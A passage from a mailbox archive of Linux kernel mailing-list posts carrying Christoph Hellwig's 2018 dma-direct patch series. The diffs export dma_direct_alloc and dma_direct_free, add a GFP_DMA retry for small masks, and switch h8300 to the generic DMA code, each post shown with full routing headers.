 static inline int map_pte_uncached(pte_t * pte,
 		unsigned long vaddr,
 		unsigned long size, unsigned long *paddr_ptr)
@@ -579,7 +574,6 @@ static void pa11_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 }
 
 const struct dma_map_ops pcxl_dma_ops = {
-	.dma_supported =	pa11_dma_supported,
 	.alloc =		pa11_dma_alloc,
 	.free =			pa11_dma_free,
 	.map_page =		pa11_dma_map_page,
@@ -616,7 +610,6 @@ static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
 }
 
 const struct dma_map_ops pcx_dma_ops = {
-	.dma_supported =	pa11_dma_supported,
 	.alloc =		pcx_dma_alloc,
 	.free =			pcx_dma_free,
 	.map_page =		pa11_dma_map_page,
-- 
2.14.2


From - Thu Nov 08 21:40:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 30/33] dma-direct: make dma_direct_{alloc,free} available to other implementations
Date: Wed, 10 Jan 2018 09:00:24 +0100
Lines: 94
Approved: news@gmane.org
Message-ID: <20180110080027.13879-31-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571227 13905 195.159.176.226 (10 Jan 2018 08:00:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:00:27 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 10 09:00:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eZBJ3-00038k-LF
	for glk-linux-kernel-3@m.gmane.org; Wed, 10 Jan 2018 09:00:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933575AbeAJICR (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 10 Jan 2018 03:02:17 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:45650 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965515AbeAJICG (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 10 Jan 2018 03:02:06 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=RvsYFEirbQ4Vn6a2CbBRaDEn8ggg6TbEYTVVJh99HAM=; b=pWkzUenkupvU570arkk0oJx14
        fRjNgKyQvMYMdHJVtKIuqV1DnDiGR2hziP4zYs8aLCx/FO2bfddO5+/0ByLCG6VY7tjeJpW4xDoKo
        gcdeJG4ZalIDNtO/iE1eSSpY3im6brhLvyNbwAZ1MsXVLLaYG744KBfRgudxLgTVES+Sydtx/NXOf
        nb9yLXhNzZPYZgSan+OUD0dyi7iFCAeoYIlyv0UnrrfWIilTrf939Yuf9+nzS3ZRcqThOkVciOyzn
        bLXsgfiDDb/KzeDFNzSDCJIcqG1j5tq/O41nOdNkWSP1n+pckq5QAQX2HMI/QAsTZKZFGW5Cke3QS
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKi-0005kY-Kx; Wed, 10 Jan 2018 08:02:01 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2662729 gmane.linux.kernel.iommu:22043 gmane.linux.ports.alpha:4697 gmane.linux.kernel.arc:3307 gmane.linux.ports.arm.kernel:625022 gmane.linux.ports.hexagon:1523 gmane.linux.ports.ia64:28522 gmane.linux.kernel.metag:1599 gmane.linux.ports.mips.general:63209 gmane.linux.ports.parisc:28198 gmane.linux.ports.ppc64.devel:151846 gmane.linux.ports.sh.devel:56254 gmane.linux.ports.sparc:27205 gmane.linux.kernel.cross-arch:41267
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2662729>

So that they don't need to indirect through the operation vector.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Vladimir Murzin <vladimir.murzin@arm.com>
---
 arch/arm/mm/dma-mapping-nommu.c | 9 +++------
 include/linux/dma-direct.h      | 5 +++++
 lib/dma-direct.c                | 6 +++---
 3 files changed, 11 insertions(+), 9 deletions(-)

diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
index 4d8042521e89..619f24a42d09 100644
--- a/arch/arm/mm/dma-mapping-nommu.c
+++ b/arch/arm/mm/dma-mapping-nommu.c
@@ -11,7 +11,7 @@
 
 #include <linux/export.h>
 #include <linux/mm.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
 
 #include <asm/cachetype.h>
@@ -39,7 +39,6 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
 				 unsigned long attrs)
 
 {
-	const struct dma_map_ops *ops = &dma_direct_ops;
 	void *ret;
 
 	/*
@@ -48,7 +47,7 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
 	 */
 
 	if (attrs & DMA_ATTR_NON_CONSISTENT)
-		return ops->alloc(dev, size, dma_handle, gfp, attrs);
+		return dma_direct_alloc(dev, size, dma_handle, gfp, attrs);
 
 	ret = dma_alloc_from_global_coherent(size, dma_handle);
 
@@ -70,10 +69,8 @@ static void arm_nommu_dma_free(struct device *dev, size_t size,
 			       void *cpu_addr, dma_addr_t dma_addr,
 			       unsigned long attrs)
 {
-	const struct dma_map_ops *ops = &dma_direct_ops;
-
 	if (attrs & DMA_ATTR_NON_CONSISTENT) {
-		ops->free(dev, size, cpu_addr, dma_addr, attrs);
+		dma_direct_free(dev, size, cpu_addr, dma_addr, attrs);
 	} else {
 		int ret = dma_release_from_global_coherent(get_order(size),
 							   cpu_addr);
diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
index 10e924b7cba7..4788bf0bf683 100644
--- a/include/linux/dma-direct.h
+++ b/include/linux/dma-direct.h
@@ -38,4 +38,9 @@ static inline void dma_mark_clean(void *addr, size_t size)
 }
 #endif /* CONFIG_ARCH_HAS_DMA_MARK_CLEAN */
 
+void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs);
+void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_addr, unsigned long attrs);
+
 #endif /* _LINUX_DMA_DIRECT_H */
diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 4e43c2bb7f5f..784a68dfdbe3 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -40,8 +40,8 @@ static bool dma_coherent_ok(struct device *dev, phys_addr_t phys, size_t size)
 	return phys_to_dma(dev, phys) + size - 1 <= dev->coherent_dma_mask;
 }
 
-static void *dma_direct_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
 	int page_order = get_order(size);
@@ -84,7 +84,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 	return page_address(page);
 }
 
-static void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
+void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		dma_addr_t dma_addr, unsigned long attrs)
 {
 	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
-- 
2.14.2



From - Thu Nov 08 21:40:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 29/33] dma-direct: retry allocations using GFP_DMA for small masks
Date: Wed, 10 Jan 2018 09:00:23 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <20180110080027.13879-30-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571233 15140 195.159.176.226 (10 Jan 2018 08:00:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:00:33 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Wed Jan 10 09:00:27 2018
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eZBIy-0002Qq-KP
	for glps-linuxsh-dev@m.gmane.org; Wed, 10 Jan 2018 09:00:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965555AbeAJICP (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Wed, 10 Jan 2018 03:02:15 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:36050 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965502AbeAJICD (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Wed, 10 Jan 2018 03:02:03 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=dC4QDkn6P87UCg+vJleo7MZnua57rTtY7s1pAiXnHFE=; b=CHueTwMhL8BA+MUPWmTltFqRM
        8pPr4H45IC1qlYdJS0ypLCdMJhXtzFaQCHAd8VGdNWv2oOHFA3wA6WnV8/pYMTTvmpUajwPbOeWqU
        Ll/FEytYQdc8ngRRZlxrAO4y1LmWuxQOreH5cMTy5Qo5EwBQXZGOg+FISNKxafUOZcnjBxDoQIndm
        xgfmQyfZYwHwF0ZHzwJ4upHF4Uz4yZhWWGaD68wCJooT6zxiK8110amv57Ig0on+MuAmqACRtnwr2
        8gxnYB8Pw3c1j54oKuQpUJbSZJFfN9qqFO8FEdOYERy8cb/MlItMIWGGr5lftqW8Plueu/WX3Dd6q
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKf-0005fv-I8; Wed, 10 Jan 2018 08:01:58 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56255 gmane.linux.kernel.iommu:22044 gmane.linux.ports.alpha:4698 gmane.linux.kernel.arc:3308 gmane.linux.ports.arm.kernel:625023 gmane.linux.ports.hexagon:1524 gmane.linux.ports.ia64:28523 gmane.linux.kernel.metag:1600 gmane.linux.ports.mips.general:63210 gmane.linux.ports.parisc:28199 gmane.linux.ports.ppc64.devel:151847 gmane.linux.ports.sparc:27206 gmane.linux.kernel.cross-arch:41268 gmane.linux.kernel:2662731
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56255>

If an attempt to allocate memory succeeded, but isn't inside the
supported DMA mask, retry the allocation with GFP_DMA set as a
last resort.

Based on the x86 code, but an off by one error in what is now
dma_coherent_ok has been fixed vs the x86 code.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-direct.c | 25 ++++++++++++++++++++++++-
 1 file changed, 24 insertions(+), 1 deletion(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 8f76032ebc3c..4e43c2bb7f5f 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -35,6 +35,11 @@ check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
 	return true;
 }
 
+static bool dma_coherent_ok(struct device *dev, phys_addr_t phys, size_t size)
+{
+	return phys_to_dma(dev, phys) + size - 1 <= dev->coherent_dma_mask;
+}
+
 static void *dma_direct_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
@@ -48,11 +53,29 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 	if (dev->coherent_dma_mask <= DMA_BIT_MASK(32) && !(gfp & GFP_DMA))
 		gfp |= GFP_DMA32;
 
+again:
 	/* CMA can be used only in the context which permits sleeping */
-	if (gfpflags_allow_blocking(gfp))
+	if (gfpflags_allow_blocking(gfp)) {
 		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
+		if (page && !dma_coherent_ok(dev, page_to_phys(page), size)) {
+			dma_release_from_contiguous(dev, page, count);
+			page = NULL;
+		}
+	}
 	if (!page)
 		page = alloc_pages_node(dev_to_node(dev), gfp, page_order);
+
+	if (page && !dma_coherent_ok(dev, page_to_phys(page), size)) {
+		__free_pages(page, page_order);
+		page = NULL;
+
+		if (dev->coherent_dma_mask < DMA_BIT_MASK(32) &&
+		    !(gfp & GFP_DMA)) {
+			gfp = (gfp & ~GFP_DMA32) | GFP_DMA;
+			goto again;
+		}
+	}
+
 	if (!page)
 		return NULL;
 
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.iommu,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 33/33] h8300: use dma-direct
Date: Wed, 10 Jan 2018 09:00:27 +0100
Lines: 149
Approved: news@gmane.org
Message-ID: <20180110080027.13879-34-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571234 15363 195.159.176.226 (10 Jan 2018 08:00:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:00:34 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Jan 10 09:00:27 2018
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1eZBJA-00038k-C3
	for lnx-linux-alpha@m.gmane.org; Wed, 10 Jan 2018 09:00:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933653AbeAJIC0 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Wed, 10 Jan 2018 03:02:26 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:51830 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965502AbeAJICQ (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>);
        Wed, 10 Jan 2018 03:02:16 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=qLMBnGBgqkewwHo8PqZ7pyXUSA8cUYYRLu7htx6D/Ks=; b=G5TNQ6zxnv/5ZH98BqOIatX1G
        mvQlqgOVRoRuuZARKZykgXITyvfUne6kaoIuJ7EdlzoWEYG9TnJIz4zMPl7kW2wVIocDbPz3cUolG
        YOwzF+j2+bX3PKSe888QG+9hc1md5bGnwZvQ7KbnF4Ere7U6xNCoDDB1jgDGoml5VMN5UBbpz4kDO
        MkuwcN90NlH8F6Lzu463OxC1JYFC9u/qiaf8JrvBERV5wDa4J6iZYyQfbbipdBjsDeZAVZ1m2z6gz
        1vuFsx56+BWqYNaFyJaR8GcV0VoDrwF3zjiU2N4jNT5Bykvscvv5PUT/7sXDjai5hOiWb6ILVQWKj
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKr-00062I-RN; Wed, 10 Jan 2018 08:02:10 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4699 gmane.linux.kernel.iommu:22045 gmane.linux.kernel.arc:3309 gmane.linux.ports.arm.kernel:625024 gmane.linux.ports.hexagon:1525 gmane.linux.ports.ia64:28524 gmane.linux.kernel.metag:1601 gmane.linux.ports.mips.general:63211 gmane.linux.ports.parisc:28200 gmane.linux.ports.ppc64.devel:151848 gmane.linux.ports.sh.devel:56256 gmane.linux.ports.sparc:27207 gmane.linux.kernel.cross-arch:41269 gmane.linux.kernel:2662732
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4699>

Replace the bare-bones h8300 direct dma mapping implementation with
the fully featured generic dma-direct one.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/h8300/Kconfig                   |  1 +
 arch/h8300/include/asm/Kbuild        |  1 +
 arch/h8300/include/asm/dma-mapping.h | 12 -------
 arch/h8300/kernel/Makefile           |  2 +-
 arch/h8300/kernel/dma.c              | 66 ------------------------------------
 5 files changed, 3 insertions(+), 79 deletions(-)
 delete mode 100644 arch/h8300/include/asm/dma-mapping.h
 delete mode 100644 arch/h8300/kernel/dma.c

diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index f8d3fde08190..091d6d04b5e5 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -23,6 +23,7 @@ config H8300
 	select HAVE_ARCH_KGDB
 	select HAVE_ARCH_HASH
 	select CPU_NO_EFFICIENT_FFS
+	select DMA_DIRECT_OPS
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/h8300/include/asm/Kbuild b/arch/h8300/include/asm/Kbuild
index bc077491d299..642752c94306 100644
--- a/arch/h8300/include/asm/Kbuild
+++ b/arch/h8300/include/asm/Kbuild
@@ -9,6 +9,7 @@ generic-y += delay.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/h8300/include/asm/dma-mapping.h b/arch/h8300/include/asm/dma-mapping.h
deleted file mode 100644
index 21bb1fc3a6f1..000000000000
--- a/arch/h8300/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,12 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _H8300_DMA_MAPPING_H
-#define _H8300_DMA_MAPPING_H
-
-extern const struct dma_map_ops h8300_dma_map_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &h8300_dma_map_ops;
-}
-
-#endif
diff --git a/arch/h8300/kernel/Makefile b/arch/h8300/kernel/Makefile
index b62e830525c6..307aa51576dd 100644
--- a/arch/h8300/kernel/Makefile
+++ b/arch/h8300/kernel/Makefile
@@ -7,7 +7,7 @@ extra-y := vmlinux.lds
 
 obj-y := process.o traps.o ptrace.o \
 	 signal.o setup.o syscalls.o \
-	 irq.o entry.o dma.o
+	 irq.o entry.o
 
 obj-$(CONFIG_ROMKERNEL) += head_rom.o
 obj-$(CONFIG_RAMKERNEL) += head_ram.o
diff --git a/arch/h8300/kernel/dma.c b/arch/h8300/kernel/dma.c
deleted file mode 100644
index d44ba5db4ac3..000000000000
--- a/arch/h8300/kernel/dma.c
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * This file is subject to the terms and conditions of the GNU General Public
- * License.  See the file COPYING in the main directory of this archive
- * for more details.
- */
-
-#include <linux/dma-mapping.h>
-#include <linux/kernel.h>
-#include <linux/scatterlist.h>
-#include <linux/module.h>
-#include <asm/pgalloc.h>
-
-static void *dma_alloc(struct device *dev, size_t size,
-		       dma_addr_t *dma_handle, gfp_t gfp,
-		       unsigned long attrs)
-{
-	void *ret;
-
-	if (dev == NULL || (*dev->dma_mask < 0xffffffff))
-		gfp |= GFP_DMA;
-	ret = (void *)__get_free_pages(gfp, get_order(size));
-
-	if (ret != NULL) {
-		memset(ret, 0, size);
-		*dma_handle = virt_to_phys(ret);
-	}
-	return ret;
-}
-
-static void dma_free(struct device *dev, size_t size,
-		     void *vaddr, dma_addr_t dma_handle,
-		     unsigned long attrs)
-
-{
-	free_pages((unsigned long)vaddr, get_order(size));
-}
-
-static dma_addr_t map_page(struct device *dev, struct page *page,
-				  unsigned long offset, size_t size,
-				  enum dma_data_direction direction,
-				  unsigned long attrs)
-{
-	return page_to_phys(page) + offset;
-}
-
-static int map_sg(struct device *dev, struct scatterlist *sgl,
-		  int nents, enum dma_data_direction direction,
-		  unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sgl, sg, nents, i) {
-		sg->dma_address = sg_phys(sg);
-	}
-
-	return nents;
-}
-
-const struct dma_map_ops h8300_dma_map_ops = {
-	.alloc = dma_alloc,
-	.free = dma_free,
-	.map_page = map_page,
-	.map_sg = map_sg,
-};
-EXPORT_SYMBOL(h8300_dma_map_ops);
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 18/33] s390: move s390_pci_dma_ops to asm/pci_dma.h
Date: Wed, 10 Jan 2018 09:00:12 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20180110080027.13879-19-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515571234 15427 195.159.176.226 (10 Jan 2018 08:00:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:00:34 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
